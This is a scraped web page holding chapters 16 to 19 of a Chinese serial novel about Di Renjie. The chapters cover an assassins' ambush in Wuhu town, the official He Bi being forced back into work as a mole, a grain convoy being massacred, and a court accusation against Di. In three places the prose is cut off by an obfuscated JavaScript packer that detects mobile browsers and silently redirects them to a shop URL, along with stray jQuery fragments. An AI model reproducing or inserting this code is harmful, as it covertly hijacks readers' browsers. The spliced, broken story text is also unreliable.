狄仁杰、韩忠义、狄宁、鹃儿几个人,在一盏油灯的微亮中,守着床上昏迷不醒的马肃。 韩忠义道:“大人,今日那蒙面的领头,便是当夜劫走彭大人的那个。这么看,你预测得丝毫不差,彭大人确是被他们带到了五湖镇。” 狄仁杰道:“我也不知啊,但愿吧。” 韩忠义道:“肯定如此,否则那领头的都来了,彭大人难道倒由他的部下带走吗?” 狄仁杰不语。 韩忠义又道:“然今日他们好像主要是冲着马肃而来的,并非我们。卑职当时在饭馆二楼,便察觉了那领头的,只是没甚注意。这么说,他发现我们,倒像是巧合了。” 狄仁杰点头道:“你说到重点了。他们今日主要是想要杀马肃,我们不过恰巧出现,才引出了他们的追击。因此这马肃的身份至关重要。然我大概已得知了他的身份,只待他一醒来,亲口稍加验证,便再无疑问。” 几人都“啊”的一声,道:“这么快就知道啦?” 韩忠义忙问:“大人,这马肃究竟是谁啊?为何歹徒要追杀他?” 狄仁杰缓缓道:“我想,他是我们此案中的关键人物。” 他看着韩忠义道:“我们此次出城,是去做什么?” 韩忠义道:“除了当夜碰巧彭大人被劫以外,我们首先是奉旨前往边关,顺便查案。” 狄仁杰又问:“查什么案?” 韩忠义道:“三个案件:首先是西北失守,军中定是出了内奸。其次,是朝廷运往边关的军粮未至,均无下落。还有便是,派往边关的搜查队二百余人,至今杳无音讯。” 狄仁杰“嗯”了一声,又问:“搜查队是谁带领的?” 韩忠义摇头,说不知道。 狄仁杰指着马肃道:“他。” 几人又是“啊”的一声。 韩忠义道:“大人,你是说……马肃他……” 狄仁杰点头道:“不错,搜查队队长,便是马肃。” 韩忠义疑惑道:“可是陛下并未言及其姓名啊,大人何以知晓?” 狄仁杰道:“今日比武之时,他手中那把宝剑,乃陛下之物。我注意到,这把宝剑曾是挂在陛下密室之中墙壁上的,可不久以前我再看,已然不见。后来陛下说派遣搜查队去边关查案,将一件信物赐予队长。这么一联想,所赐之物准是此剑。今日见到了剑,我便已想到了他。” 韩忠义点头,又问:“如果搜查队队长真是马肃,那他何以不回京面圣,却在这五湖镇当中,既亮出宝剑,又大张旗鼓要比什么武呢?” 狄仁杰道:“今日歹徒来杀他,似是他有意要引出他们来的。这么一想,只能说明,搜查队八成是出事了。” 韩忠义道:“搜查队……被杀了?” 狄仁杰道:“很有可能。而且如果真的被杀了,也许便是今日这群杀手干的。你注意到他脸上的这些新伤没有?” 韩忠义道:“注意到了,是刀伤,手法似是寒刀帮所为。这么说,彭大人一案,与搜查队……” 狄仁杰道:“如今这一切也都只是猜想,马肃不醒,依然是空论。” 就在这时,忽听得街上传来了细微的脚步声,再一听,屋檐上的瓦片亦有所响动。 狄仁杰忙吹灭了油灯,屋内登时一片漆黑。 鹃儿吓得正想大叫,狄宁忙止住。 韩忠义忙叫醒了胡乐,他睡眼惺忪道:“唉呀韩护卫,你干吗呀……” 韩忠义忙叫他闭嘴,走到了窗前向下一看,只见街上隐约有三十多个蒙面杀手。 再一抬头,见对面屋檐上亦有数不清的杀手埋伏。 韩忠义大吃一惊,回头悄声道:“不好,杀手又找上来了,少说也有五十多个。” 忽听得客栈楼下柜台的店主声音颤抖着说道:“受伤的?哦有有有!有一老的、一高的、一瘦的、一又肥又矬……” 胡乐听了,正欲破口大骂,被韩忠义忙捂住了嘴。 又听得一声惨叫,显然是店主被杀害了。 狄仁杰叹了口气,忙叫胡乐背上马肃。 只听得脚步声如雷,一群杀手踏着木板楼梯,顷刻便上了二楼,踹门而入。 见了狄仁杰几人,杀手们道:“是了!就是他们!杀!” 韩忠义早一剑挥来,剑气横扫,立时倒了一片。 狄仁杰扶着鹃儿,胡乐背着马肃,一面抱怨好重,跟着韩忠义、狄宁一起杀出客栈。 方至大街,杀手们登时从四面八方齐上,兼有暗器乱发,均朝狄仁杰几人飞将来。 韩忠义大喝一声,猛然出剑,犹如疾风骤雨之势,一一击落暗器,一面大叫:“大人!你们先走!我来掩护!” 狄仁杰道:“你小心!我们走。” 遂与狄宁几人摸黑狂奔。 胡乐本就肥胖,再背着一个马肃,累得气喘,停下来大叫:“我累死啦!我好苦啊!” 狄宁忙叫:“快走!你要累还是要死?” 胡乐叹道:“累也累死啦!” 几人在漆黑的大街上又奔走了快一里路,各皆行不动了,都停下来喘气。 狄仁杰一个老年人,更是喘得快死了。 鹃儿道:“狄老爷,你还好吗?” 狄仁杰道:“老啦。” 胡乐跌在地上,放下马肃,忽然放声大哭道:“我自从跟了老爷就没过过一天好日子,每天都是一只脚踏在鬼门关!” 鹃儿道:“乐哥哥,换我背吧。” 胡乐一听,忙笑道:“我胡乐虽没用,也是个男子,岂有让你背的理儿。” 眼见韩忠义与杀手的影子均无,斗杀之声也渐不闻,几人方松了口气。 突然一阵哈哈大笑声传了来。 是个沙哑的声音。 狄仁杰几人大吃一惊。 只见漆黑的街道上,自己的正对面,站着一个人。 一个蒙面人。 他就站在对面! 他冷笑道:“狄仁杰,你没想到吧。” 正是那领头的。 狄仁杰见只有他一个人,道:“看来,我是中了你的调虎离山了。” 领头的哼哼冷笑,道:“没了韩忠义,你们就都是些屁,加起来也不是老子对手。现在韩忠义为了要掩护你,不但不会早来,还会有意耽搁,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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其实那领头的并非挡不住这一掌,况且马肃身体还虚弱,又怎会有太大的杀伤力。只不过,他以为马肃既已身中雪松针,定然非死即伤,又怎料还有狄仁杰为他医治这一节。因此马肃那一掌,乃出其不意一击,才伤到他的。 领头的眼见马肃醒转,明知非其敌手,遂忙使烟雾弹撤离。 马肃那一掌亦用尽了全力,登时又昏了过去。 韩忠义这时方赶到,见了场面大吃一惊,又见狄仁杰无事,稍松了口气,忙问发生了什么。 狄仁杰道:“现在不是说话的时候,先救胡乐、狄宁还有马肃要紧。” 遂与韩忠义、鹃儿各背了一人,在黑暗之中,跨街度巷,漫无目的。 韩忠义方才与五十多个杀手对招,此时也是累得精疲力竭。 几人一起躲进了一个小巷子里,喘了口气。 狄仁杰忽然说道:“不行,镇子里处处都是杀手,待不得了。” 韩忠义道:“那彭大人怎么办?” 狄仁杰道:“或许我的推断错了,彭大人也有可能确实是被歹徒的大队人马转移了。五湖镇也不过是推断,并没有任何证据说彭大人一定在此。即便真的在此,偌大个镇子,又如何找起?如今是敌暗我明,情况极其复杂,什么都说不准。” 韩忠义叹了口气,道:“这次的案件竟然没有突破口可寻,实在是难办。” 狄仁杰道:“其实明处颇多,甚至多到蹊跷。从当夜彭大人被劫,歹徒便是明着来,毫无掩饰,以致于在今日看来,更显突兀。现在胡乐他们命在垂危,我须赶紧为他们施针治疗,方能有一线生机。只是此处太暗了,我看不清楚,若待到天明,只怕他们……” 鹃儿道:“狄老爷,我们再去找个客栈吧。” 狄仁杰摇头。 韩忠义道:“不能再住客栈了,危险就在镇中。” 狄仁杰看了他一眼,道:“对,我们连夜离开五湖镇。” 韩忠义点头道:“卑职也是这么想。”又问:“那我们是不是回洛阳?” 狄仁杰道:“万万不可。时间已经来不及了,只要出了京城,便步步危机。如今是进退两难,行踪又已暴露,该当一不做二不休,直接前往边关。若此时原路返回,一来胡乐他们性命难保,马肃也去了,线索一概中断。二来定有无数杀手埋伏设陷于半道之上,等待着我们自投罗网。” 韩忠义道:“那怎么办?” 狄仁杰道:“立刻上后山。” 于是狄仁杰、韩忠义、鹃儿三人,背着胡乐、马肃、狄宁三人,连夜来至山脚下。 又商议了一番,决定还是要上山。 山路崎岖,天色又暗,极其难行。 进了一个山洞,点上了火,狄仁杰便赶紧为胡乐几人施针。 一时,见胡乐血止了,狄宁气顺了,马肃呼吸匀了,这才松了口气。 闭目养神,安歇了片刻。 过了快两个时辰,胡乐咳嗽醒了,狄宁也睁开了眼,鹃儿忙给他们喂水喝。 韩忠义、胡乐、狄宁三人方知,狄仁杰又是为马肃所救,对其顿生好感。 马肃却因身受重伤,依然昏迷。 几人决定先过了湖再说。 狄仁杰又劝胡乐、狄宁好好养伤。 遂仍是三人背着三人上山。 直至清晨,太阳升起,方到了山顶上。 见霞光万丈,景色怡人。 山下有一大片湖水,停泊数舟。 几人遂下到了湖畔,被船夫渡到了对岸,付了船钱,便继续赶路。 17. 第十七章 潜伏 吏部侍郎何璧是个爱体面的人,这是众所周知的。他非常在乎自己的外表,虽然他长得并不好看,但他很在乎。他每次不论是出门还是在家,不论是公开的还是私底下,都会认真地去打扮自己,好使得外表更显体面。他不完全是为了装给人看,因为他自己就非常在意,他非常需要这种外在的体面,来掩饰内心深处的一种状态,一种只属于他何璧的一种特殊的状态。 他的打扮虽然不像妇女那样涂脂抹粉,但至少,脸要经常清洁,好使每个看到自己的人,都觉得自己是非常干净的,并且是非常地爱干净的。他的干净,对于他来说,实在是太重要了。因为他的内心深处,一个不为人知的角落,实际上是没有那么干净的。这是他自己的想法。他自己觉得,他是不干净的,尤其是本质上,是有污点的。但他如今并不放弃,自己对于一种干净的追求。 他虽然已年过四十,但外貌一点都不显老,虽然他长得并不好看。他的面皮白净,没有多少胡须,因为他时常修理,把多余的胡须都剪掉,只留下一点点在嘴巴的四周,显得又年轻又整洁,但又不会像是太故意的,只因毕竟还是留了些。他的双眼炯炯有神,但两个黑眼圈却异常明显,好像跟他那个发亮的眼睛不太搭。因为就他那两个黑眼圈,就已经给他增添了不少疲倦感,这是他那发亮的眼睛无法挽回的。所以搭配在一起,让人觉得怪怪的,好像他何璧是故意把眼睛睁大的,好显得自己有神。 其实,何璧就是故意把眼睛睁大的,因为他实际上很疲劳,就是他拥有的黑眼圈的那种状态,而不是像他故意睁大的眼睛那样,那么有精神。他很累,内心深处更是精疲力竭,却始终要装作很有精神。他有失眠症,已经持续了十几年了,到现在稍微好一些,但每天晚上也只能睡两个时辰左右。他老早就已经快疯了,但从他的外表丝毫也看不出来,反倒像是一个比正常人还要正常的人。只有他自己知道,自己病了,而且病得很严重。他也知道自己为什么病,但他十几年来尽量回避,不去想这个问题。因为如果他再想一下子,他就会死掉的。 何璧掌管的是吏部,自隋唐起被定为六部之首的吏部。这是一个非常重要的职位,因为文职官员的任用封赏、甄别罢黜等事都经他管。所以说,他的权力很大。如果他专门提拔一些居心不良的人,那么整个朝纲就要混乱了。但偏偏这个何璧,专门提拔一些能干的人,良善的人,能为国家、为朝廷出力的人,而不是那些只知道阿谀奉承的人,没有真才实学的人,甚至是那些暗中给了他许多好处的人。他每当收到贿赂,就坚决不要,而且是真心实意的,不是装给人看的。 他的行事为人,跟他的相貌一样,都是干干净净的,而且大家都是有目共睹。虽然许多同僚都很佩服他,也想跟他交个朋友,但何璧从来不主动找这些人,好像跟他们一说话,自己就要变得肮脏了。他似乎很讨厌官场的这一套虚情假意,所以都不愿去触碰,哪怕是他们当中一些还算是“好”的人,他也很少跟他们往来。那些人也逐渐发现,这个何璧是个特立独行的人,所以当中许多也不想再跟他有什么交往了。 于是这个何璧,就像是被孤立了一样,别人都不理他,他也不理别人,都各走各的路,各做各的事,互不往来,也不说话。他当然是无所谓,也不表现出蔑视和不屑,也从不卑躬屈膝,好像要求得你们怜悯。 他的内心深处,其实既渴望着被理解,又享受着孤独的快感。因为孤独,会让他忘记许多痛苦。反倒是身处喧嚣中的时候,他内心的痛苦会更被放大,更被突出,以至于他恨不得被流放到一个荒岛,孤独地度过余生。但他也不会这么做,因为他喜欢这个职位,喜欢自己每天做的事,甚至可以说,他喜欢生活。 他不会为了内心的平安和快乐,而放弃他这十几年来做的事。他只想好好地做他的吏部侍郎,没有人打扰,没有人妨碍,然后像个正常的官员那样,在本朝度过自己的一生,到老了再辞职,离开,那时候钱也够了,生命也快要结束了,还有什么可追求的。但他没想到的是,这一切都要幻灭了。他简简单单的愿望,要在这一天晚上,彻底地幻灭了。 他的过去,会把他拉回深渊,让他知道,他何璧一辈子也逃脱不了自己的命运。他想要重新开始生活,却不可能长久,因为他的过去,就是他的一切。所以,他何璧自然要做个选择,而这个选择,是他一直以来疯狂地去逃避的,坚决不去思想的。但那是现实,所以他跑不掉。他何璧虽然想要摆脱,但那个过去会缠绕着他,让他甩脱不掉。 他何璧,到底是个什么样的人呢? 他的住宅虽然并不算大,但他住的地方都是京城里的有钱人住的,所以豪华的样子还是有的。何况他这么喜欢干净,喜欢体面,肯定不会生活得太差。至于宅子里的陈设布置,那自然也是干干净净的,一尘不染。他的仆人每天都要至少扫一次地,至少,因为如果连一次都不扫,他也会疯掉。桌子也要擦,器皿也要擦,什么都要干干净净的才好,不能脏!还有那些仆人,也要干净,都要每天至少洗一次澡,常常洗手,常常清洁自身,不能让他何璧的家变脏了,让他何璧的眼睛目睹什么脏东西…… 他需要干净,他太需要了。 但无论外面的世界再怎么干净,他总觉得,自己的心,自己的过去,自己的记忆,有肮脏的部分!那是怎么也抹不掉的!他一想到这就要疯了,所以立刻就不想了。 不想了。 不想了啊。 不想了。 这天晚上,他独自坐在自己宅子里的书房中,突然从窗外刮进一阵冷风。 他起初并没有在意,还在继续看他的书。 但突然间,一个黑影迅速地闪过,掠过自己身旁,到了自己身后。 他大吃一惊,连忙回过头,见自己的身后,站着一个人。 一个黑衣蒙面人。 他连忙跳起身,向后倒退。 那黑衣人不动。 他惊魂未定,连叫都没敢叫。 黑衣人却开口了。 “何侍郎,何璧。” “你……”何璧指着颤道,“你什么时候进来的?” “刚刚。”黑衣人淡淡道。 “你……你要做什么?” 黑衣人冷冷一笑。 “你信不信我……叫人?”何璧更加害怕了。 “你敢吗?”黑衣人道。 “我为什么不敢?” “那你叫啊。”黑衣人仍是淡淡道。 “我……”何璧确实不敢。 黑衣人哼了一声,在旁边椅子上坐下了。 “请坐吧,何侍郎,”黑衣人道,“我们可以好好谈谈。” “你……你到底是谁?” “你不需要知道我是谁,”黑衣人道,“你只需要知道你是谁就够了。” “我……” “请坐。” 何璧只好在身后的椅子上坐了。 “现在我们来谈谈。”黑衣人道。 “你想谈什么?”何璧问。 “谈你的事。”黑衣人道。 “我的事?”何璧诧异道。 “是的,你的事。”黑衣人说着,又冷笑了一声。 何璧这下更害怕了,因为他已经猜到了,这个黑衣人要说什么。 “十三年前的事,你还记得吗?”黑衣人开始问道。 “我……”何璧知道,他是为这件事来的。“我忘了。” “不,你没忘。” “我真的忘了……” “你没有忘。”黑衣人语气加重地说,把何璧吓了一跳。 “你到底要怎么样啊?”何璧都快哭了。 “你记不记得,你是谁?”黑衣人的语气比刚才重了些。 “我……我是何璧啊……” “你是谁?” “我是吏部侍郎……” “十三年前,你是谁?” “我不记得了……” “你记得!”黑衣人有些怒了。“你是一个潜伏者,你忘了吗?!” 何璧大惊失色。他没想到,这一刻还是来了。 “你不要再说了,”他真的快哭了,“我不想回忆起当年的事,你就让我忘了吧。” “你永远也忘不了。”黑衣人有些恶毒地说道。 “我求求你了,”何璧哭道,“你不要再提了,我不想再想起那件事。” “那件事,你摆脱不了。” “我想要摆脱呀,你能不能不要再提了。”何璧哭着说。 “我就是为这件事来的。”黑衣人道。 “你说什么?”何璧又惊讶又害怕,“你就是为这件事来的?” “是的。” “你为什么要害我?”何璧带着哭腔小声说。 “不是我要害你,是你自己害了你自己。” “我怎么了?我做错了什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051963|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何璧道。 “你做错了选择。”黑衣人道。 “我选择错了什么?”何璧又问。 “你选择升官发财了,而不是离开。”黑衣人哼哼一笑。“你想,这个世上,什么事能两全呢?” “我原本可以,”何璧痛恨地说,“但是你要来害我。” “这就是你的命。”黑衣人淡淡道。 “我的命……我的命……就该如此吗?” 黑衣人不说话。 “我难道,不能改变命运吗?”何璧又道,“我自己的命运,我不能自己选择吗?” “人生在世,身不由己。”黑衣人淡淡道。 何璧这会儿冷静了些,叹了口气。 “你说吧,你想怎么样。”他无奈地道。 “皇帝,知不知道这件事?”黑衣人问道。 “什么事?” “你是内奸的事。”黑衣人眯了眯眼,看着他道。 “这个嘛……”何璧呆了半晌,“应该不知道吧。” “到底知道不知道。”黑衣人又问。 “不知道。”何璧肯定地说。 “为什么这么肯定?”黑衣人眯眼道。 “因为……”何璧不敢说下去。 “说。” “因为她……她让我升官发财了。” “哦?”黑衣人道。 “如果她知道我是内奸,又怎么会让我升官发财呢?”何璧说。 “这倒也是。”黑衣人点头道。 “她肯定不知道,”何璧又说,“所以才没有……杀了我。” “这么说,”黑衣人道,“你的身份,如今还没有暴露了?” “是的。”何璧道。 “那就好。”黑衣人道。 “你……”何璧看着黑衣人,问,“你是将军的旧部?” “你不需要知道那么多。”黑衣人道。 “我……我只是随便问问。”何璧低下了头。 “我不是。”黑衣人却回答了。 “你……你不是?”何璧抬起头,更吃惊了。“那你是谁啊?” “我问你,”黑衣人这次不回答他了,“你愿不愿意,帮助我们。” “你们要我做什么?” “做内应。”黑衣人道。 “做内应?” “是的,”黑衣人道,“继续在朝中,做内应。” “就像……” “就像十三年前那样。”黑衣人替他回答了。 “我……” “你现在,不愿意了?”黑衣人冷笑道。 “我……我累了……”何璧轻声说。 “就问你,你愿不愿意?”黑衣人又问。 “我……愿意。”何璧答道。 “好。”黑衣人说,“跟十三年前一样,如果事成了,你就是第一功臣。” “你们……你们要干吗呀?”何璧颤抖着问。 “等时间到了,我们自会来通知你。”黑衣人道。 “你们……你们要造反?”何璧惊问。 “马上就要改朝换代了。”黑衣人冷笑着说。 “我要做什么?” “你要继续潜伏下去。”黑衣人说。 “潜伏……” “不要让皇帝起疑心,怀疑你。否则,你就要这样了。”黑衣人说着,瞬间从衣袖里露出一把锋利的短刀,朝旁边桌角一削,立刻便削掉了桌子的一角,掉在了地上。那是一个很结实的桌子,竟然一大块被他给削了下来,还不把何璧给吓死。 “后会有期。”黑衣人说罢,站了起来,何璧还没反应过来,他就已经化作了一团黑影,直接飞身出了窗户,消失在了深邃的夜色之中。 何璧也不敢大喊“有刺客”,只是独自一个人呆住了。 当天晚上,何璧就有点精神失常了,整夜做着噩梦,时不时乱喊乱叫起来,浑身上下剧烈发抖,冷汗热汗直流,满口说着胡话,说一阵子又晕厥过去,然后又哭醒,整个人惊怖异常,几乎都快疯了。把家里上上下下的人都吓死了,忙着请医生来看。医生看了,说是心病,就随便开了几副药,安慰了几句,也就走了。 于是何璧连着几日都没有上朝。皇帝听说了,就劝他好好在家休息养病,不要多虑。何璧这才宽慰了些。 但每当夜深人静的时候,他又会痛苦到要疯掉,因为他又记起了,自己的身份。 18. 第十八章 突袭 密林之中的土路官道上,一个由百余人组成的队伍正在缓缓地前进。他们都是些壮丁,有的刚刚成年,有的已经三十多岁了,而大部分都是二十到三十岁之间的年轻人,身强力壮,精力充沛,因为要长途跋涉,所以非常地疲累,需要很好的体力。 他们都身穿着军装:头盔、铠甲、护腕、护膝、靴子。 他们这时候满头大汗,都有些气喘,因为大中午的,虽然是秋天,微风透过树林,还是挺凉爽的,但毕竟干的是体力活,太阳高照,还是会感觉到有些热、有些累的。 他们穿过一棵棵参天大树,在参差错落的树荫和日光之中穿梭着,踏在土地上,向着西边的方向慢慢地行去。 他们都没有骑马,虽然队伍中有几个马匹,但那只是带头的队长用的,不是给他们干活的人骑的。那个带头的队长心里还有些过意不去,但自己毕竟是带头的,责任更加重大,于是只管看路,也不去吆喝催赶那些干活的人,因为他自己也是这么过来的,他知道他们很辛苦,所以还经常叫他们停下来歇一歇,他们也很尊重这个队长。 他们干活的人,双手握着木制推车的两个长把手,用尽全力,往前推送,车轮碾过地上的土,在路上形成了一道道的车辙,还留下了大大小小的土块,分散在他们凌乱的脚印中。 木车之上,摆放着无数个褐色的麻袋,里面装的都是大米、草料等物。有时候袋子稍微有点漏了,他们就要连忙补上,好让这些粮食能够原封不动地到达目的地——边关。 他们便是朝廷派往边关的运粮队。 他们这次任重道远,而且随时都可能有危险,这他们也是知道的。所以同样是走官道,也有大道和小道之分。而他们所行的,便是小道。 这条小道,不是说道路的宽阔与窄小,而是说它偏僻,远离那些更容易被歹人发觉的大道。虽然这里要是埋伏起来,整个队伍基本都要遭殃,但是这条路线的本身是很奇特的,因为它要绕远路走,所以很隐蔽,根本不可能有人想得到,队伍会从这里行。 这是为了安全起见,因而使得整个队伍都要走更远的路,才能成功地将军粮运送到边关。 可运粮队的人,大部分还都是愿意的,因为他们更看重性命。 为了活下去,累一点又能怎么样? 他们这次为了拿到一大笔工钱,都决定冒险,担任运粮队员,负责运送军粮。 为什么说非常危险呢? 因为前面朝廷的军粮已经被歹人给劫去了无数次了,而且不但劫走了军粮,还将整个运粮队都给杀害了。 但他们为了多挣点钱,还是决定要去。 虽然危险,不知道什么时候就会降临。 他们这次提前研究过地形,中间的路自然是有无数,但他们还是为了安全,走一条没有人想得到的路。 他们这次出行因而是绝对保密的,只有皇上、徐主帅等人知道。 就连挑选,也是偷偷进行的。 这是为了防止,有人提前知道了行动,进行泄密。 如此,他们中间也都放心了些,知道上头的人不可能出卖自己,因为军粮运不到,对任何人都没有好处。 他们已经出行了十几天了。 他们不准备走水路,因为水路也很难直达,而且太明显了,很容易被歹人发觉。 所以就在一个根本无人知晓的树林之中,慢慢地前进着。 这时候,大家都有些走累了,因为已经走了半天了。 现在是午时。 “大伙儿辛苦了,”那前面骑在马上的队长叫道,“都先停下来歇歇吧,吃个午饭再赶路!” 众人听了都很开心,于是都停了下来,把运粮车先都停在路中间,他们在路旁靠着树木歇息。 “大伙儿累了,都吃点干粮,喝喝水。”队长亲自给大家发面饼。 “谢谢队长,队长也辛苦了!”大家很感激地接了,都很喜欢这队长,因为他从不摆架子、自高自大,反倒非常亲和,对他们干活的也很同情。 队长自己就是从底层打拼上来的,自己都推过车运过军粮,还有什么不知道。他觉得自己如今能做到队长,不过是自己幸运而已,没必要自视过高。 队长于是也跟着那些运粮队员在一处坐下,一块吃着干粮,拔开皮水壶的盖子喝水,然后一起聊天、说笑。 大家吃着东西,抹着额头上的汗水,在一片绿荫中,看着一棵棵树的缝隙间,透进午时耀眼的阳光,感觉又凉爽又温暖,他们虽然又辛苦了一个早上,但此时此刻,心情都是舒畅的,没有一句怨言,反倒觉得生活很美好,流点汗水算什么? 他们还想着,到时候军粮运到了,工钱是平时的十几倍,可以给家人买点好吃的,真是一件幸福的事呢。 但就在这时,他们突然听到了什么声音,是从他们身后的树丛那里传来的。 他们非常警惕,都立刻放下食物,手握剑柄,有的半截剑都已经拔了出来。 他们左看右顾,一下迅速回过头,一下又缓缓转头,都没发现什么异常。 这时候虽然是大白天,是中午时分,但毕竟是身处密林之中,整体光线还是偏暗,很多角落都是连成一片的漆黑,还有无数枝叶和树丛交错在一起,到处都是阴影,只有在一些特别的角度才能透过照进来的日光,看见那些草木黑色的轮廓以外的内容。 他们时而又仰起头,能够看见顶上枝叶的缝隙间有蓝天,有白云。但大部分,还都是黑漆漆的枝叶,浓密地盖在他们的头上。 微风也会断断续续地吹来,有声响,但不大,只是温柔地轻轻拂面。 “应该没问题。”其中一个说。 “好像没什么异常啊,哪儿来的声响?”另一个道。 “是不是错觉?” “是风声吧?” “不对啊,”队长道,“刚才树丛里面好像有动静。” “是松鼠吧?” “跑几个松鼠,咱们就都听见啦?” “我刚才好像没听见啥声儿啊。”一个说。 “我也是,”另一个说,“看见你们这么紧张,我也紧张了起来。” “看来没事啊。” “嗐,都不要神经兮兮了,咱们都是被吓的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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队长拼了命,持剑左右乱挥,想到家人还等着自己回家呢。突然喉咙中了一刀,鲜血跟眼泪一块流了出来,整个人倒在了装着军粮的麻袋之上,鲜血把麻袋染红了。 众人大叫:“队长!” 想到队长对他们这么好,而且都是有家人的人,怎么会落得如此下场,都悲愤交集,大喊一声:“杀!”一齐持剑拼命。 树影乱晃,日光透射,微风拂面,枝叶簌簌。 没过多久,运粮队员就全部遇害了。 “都解决了。”一个黑衣人道。 “赶快回去禀告狄大人。”另一个黑衣人道。 “先把军粮抬走,把尸体处理了。”那些黑衣人说着,就一部分搬走了军粮,另一部分把运粮队的尸体丢在了树林的深处,也就不管了。 “走!”他们的脚步声越来越远,直到听不见了。 这时,运粮队中一个人,满身是血,在草木深处,缓缓睁开了眼。 19. 第十九章 挑拨 “此次王孝杰八百里加急遣人回京,又是来催军粮来了。”武皇坐在宝座之上,俯视着金銮殿中群臣,淡淡地说道。“说自从,大周的西北城失守,大军失去了根据地,敌国的侵略变本加厉,朝大周的边境进发,一路上烧杀抢掠、无恶不作。真是狼子野心,本性难移。朕屡次退让,外邦夷狄反倒得寸进尺,意欲并吞我大周。是可忍,孰不可忍。突厥可汗既然要开战,那朕也不跟他去讲什么和,看看到时候,结果如何。” “陛下圣明。”众臣躬身道,“臣等愿随陛下,扫清六合,席卷八荒,平天下战乱,开万世太平。” “如今,”武皇继续说道,“边关守卫大将军王孝杰领着十万大军,进退两难,又有军中奸细向敌人通风报信,使得他们得知了我军重要情报,占领了包括西北城等诸多州县。突厥又联合周边吐蕃等诸国,加派兵力,专攻我军兵力少的地方,于是屡战屡胜、攻无不克,我军连连败退,守在大周的最后一道防线。再这么下去,只怕敌人就要攻破边陲,然后占领我整个大周了。” “陛下放心,”一个大臣说道,“王大将军世受天恩,定会竭尽全力报效国家,尽忠于陛下。” “朕知道,”武皇说道,“王孝杰是会尽力的。可一个人的能力有限,是需要帮助的。如果前线的战士们浴血奋战,后方却在推卸责任、玩忽职守、懒散懈怠,那么纵然他们竭尽所能为国出力,又能坚持到几时?他们为国出力的动力何在?要知道,没有人会为了不值得的事卖力的。如果后方无法给予他们帮助,他们远在边关,自然会觉得国家已经放弃了他们,那么敌人还不用进攻,他们就已经败了,因为继续打下去的动力没了。要知道,‘重赏之下,必有死士’,只有给了士兵们动力,他们才会心甘情愿为国效劳。” “陛下所言极是。”众臣齐声道。 “可如今呢?”武皇叹了口气,说道。“边境的情况越来越糟糕,而且照这么下去,情况也不会好起来,只会越来越恶化。”她眯着眼,顿了顿,叹着说,“军粮一天不到,十万大军,就离全军覆没更近了一步。要是全军覆没了,边境一失守,大周的土地,将尽归他国。诸位爱卿,到那时,朕的臣民,都将成为奴隶,你们又会成为别人的臣子,而朕,将成为阶下囚。唉呀,那一天还远吗?”她有些嘲讽似的说道。 “陛下多虑了,”众臣吓得连忙说道,“那一天怎么会到来呢?” “照这么下去,过不了多久,朕的话就要应验了。”武皇淡淡道。 “陛下!”众臣一齐悲怆地叫道。 “军粮,还是军粮。”武皇又道,“去往边关的运粮队屡屡未至,致使军中粮草匮乏,人马都饿着肚子,将士们也没了斗志,军心涣散,形势雪上加霜。朕难道还不知道吗?但如今又怎么样呢?”她看着群臣,顿了顿,“军粮哪里去了?运粮队呢?至今还是没有下落。”她又叹了口气,“你们谁能告诉朕,这都发生了些什么呀?” “陛下,”梁王武三思出班说道,“臣知道军粮还有运粮队的下落。” “哦?”武皇看着他,心里已经知道他要说些什么。“说说看。” “陛下,要知道军粮还有运粮队的去向,首先得抓获作案之人,也就是军粮被劫以及运粮队被杀害的主谋,然后逼他供出被劫军粮的所在,以及他的同谋帮凶等一干人犯的藏身之处,将他们一网打尽,以绝后患。这样以后就不会再有歹人劫去军粮了,自然运粮队可以安全到达边关,将军粮交给大军,然后我大周国所向披靡、无人能挡,敌人望风而逃、不战而降,从此天下太平、社稷无恙,皇上英名、万古流芳!吾皇万岁,万万岁!” 武三思慷慨激昂地说完这段话,站在他这边的大臣都跟着喊叫“万岁”,而他的反对派却心里暗骂:“真乃‘马屁’之王!”其中张柬之就不出声地冷冷一笑。 “这么说,”武皇淡淡道,“梁王已经知道了,谁是主谋?” “回陛下,”武三思忙道,“臣知道。劫军粮的主谋,跟杀害彭羽一家子的,是同一个人。” “你又想说,是狄怀英干的?”武皇面部表情没有变化。 “正是!”武三思连忙说道,“不论是彭府灭门一案,还是军粮被劫一案,幕后主使,都是狄仁杰!” “证据呢?” “回陛下!自从上次彭府灭门以来,狄仁杰就再也没有上过朝,这就是最大的疑点。如果他此时此刻出现在朝堂之上,或者是自己出来辩解一番,那么他的嫌疑也就没这么大了。如此轻而易举就能洗脱罪名,他狄仁杰却不来做,这是为什么呢?因为他就是犯案者,所以做贼心虚了,早就逃出了京城。如今就是把整个京城再搜个遍,也绝对找不到他狄仁杰的踪影。因此,他狄仁杰在案发之后的突然消失,就是最大的证据。” “还有呢?”武皇仍是淡淡地问道。 